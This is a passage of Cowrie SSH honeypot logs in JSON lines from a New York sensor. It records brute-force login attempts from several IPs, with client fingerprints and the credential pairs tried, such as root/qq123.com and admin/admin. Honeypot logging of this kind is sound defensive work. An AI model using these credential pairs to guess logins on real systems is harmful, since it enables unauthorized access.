c-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:33.766700Z","src_ip":"37.116.193.37","session":"4758c65ac1d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:34.114970Z","src_ip":"37.116.193.37","session":"4758c65ac1d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:35.228615Z","src_ip":"37.116.193.37","session":"4758c65ac1d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.116.193.37","src_port":43422,"dst_ip":"10.17.0.5","dst_port":22,"session":"6176f55b6407","protocol":"ssh","message":"New connection: 37.116.193.37:43422 (10.17.0.5:22) [session: 6176f55b6407]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:35.335876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:35.340475Z","src_ip":"37.116.193.37","session":"6176f55b6407","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:35.455462Z","src_ip":"37.116.193.37","session":"6176f55b6407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nil","password":"","message":"login attempt [nil/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:35.791592Z","src_ip":"37.116.193.37","session":"6176f55b6407","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:36.906441Z","src_ip":"37.116.193.37","session":"6176f55b6407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.116.193.37","src_port":43426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce3973b2aea3","protocol":"ssh","message":"New connection: 37.116.193.37:43426 (10.17.0.5:22) [session: ce3973b2aea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:37.015998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.0","message":"Remote SSH version: SSH-2.0-OpenSSH_10.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:37.025525Z","src_ip":"37.116.193.37","session":"ce3973b2aea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:37.138752Z","src_ip":"37.116.193.37","session":"ce3973b2aea3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:37.492606Z","src_ip":"37.116.193.37","session":"ce3973b2aea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:37.607255Z","src_ip":"37.116.193.37","session":"ce3973b2aea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":50282,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc309c96926f","protocol":"ssh","message":"New connection: 114.35.59.237:50282 (10.17.0.5:22) [session: bc309c96926f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:41.587367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:41.594610Z","src_ip":"114.35.59.237","session":"bc309c96926f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:41.806784Z","src_ip":"114.35.59.237","session":"bc309c96926f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"159753","message":"login attempt [admin/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:42.659473Z","src_ip":"114.35.59.237","session":"bc309c96926f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:43.879054Z","src_ip":"114.35.59.237","session":"bc309c96926f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":59504,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8efa8eb46bb","protocol":"ssh","message":"New connection: 223.17.5.126:59504 (159.203.135.109:22) [session: a8efa8eb46bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:48.648489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:48.655592Z","src_ip":"223.17.5.126","session":"a8efa8eb46bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:48.874207Z","src_ip":"223.17.5.126","session":"a8efa8eb46bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123.com","message":"login attempt [root/qq123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:49.779305Z","src_ip":"223.17.5.126","session":"a8efa8eb46bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:13:51.000998Z","src_ip":"223.17.5.126","session":"a8efa8eb46bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":39022,"dst_ip":"10.17.0.5","dst_port":22,"session":"b94f2690e180","protocol":"ssh","message":"New connection: 124.18.182.99:39022 (10.17.0.5:22) [session: b94f2690e180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:09.663418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:09.667971Z","src_ip":"124.18.182.99","session":"b94f2690e180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:09.845103Z","src_ip":"124.18.182.99","session":"b94f2690e180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sgserver","password":"sgserver","message":"login attempt [sgserver/sgserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:10.585518Z","src_ip":"124.18.182.99","session":"b94f2690e180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:11.765971Z","src_ip":"124.18.182.99","session":"b94f2690e180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":49484,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4de43848424","protocol":"ssh","message":"New connection: 220.119.37.141:49484 (10.17.0.5:22) [session: f4de43848424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:19.589858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:20.357564Z","src_ip":"220.119.37.141","session":"f4de43848424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:20.547633Z","src_ip":"220.119.37.141","session":"f4de43848424","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd369","message":"login attempt [root/asd369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:21.350479Z","src_ip":"220.119.37.141","session":"f4de43848424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:22.561581Z","src_ip":"220.119.37.141","session":"f4de43848424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":38908,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de403c6ec77","protocol":"ssh","message":"New connection: 114.35.59.237:38908 (10.17.0.5:22) [session: 7de403c6ec77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:42.049725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:42.053524Z","src_ip":"114.35.59.237","session":"7de403c6ec77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:42.269519Z","src_ip":"114.35.59.237","session":"7de403c6ec77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa55w0rd!","message":"login attempt [ubuntu/Pa55w0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:43.162506Z","src_ip":"114.35.59.237","session":"7de403c6ec77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":47116,"dst_ip":"159.203.135.109","dst_port":22,"session":"37cb72aaec37","protocol":"ssh","message":"New connection: 223.17.5.126:47116 (159.203.135.109:22) [session: 37cb72aaec37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:44.260180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:44.267612Z","src_ip":"223.17.5.126","session":"37cb72aaec37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:44.378254Z","src_ip":"114.35.59.237","session":"7de403c6ec77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:44.482922Z","src_ip":"223.17.5.126","session":"37cb72aaec37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@sswOrd","message":"login attempt [root/p@sswOrd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:45.373919Z","src_ip":"223.17.5.126","session":"37cb72aaec37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:14:46.591862Z","src_ip":"223.17.5.126","session":"37cb72aaec37","protocol":"ssh"}
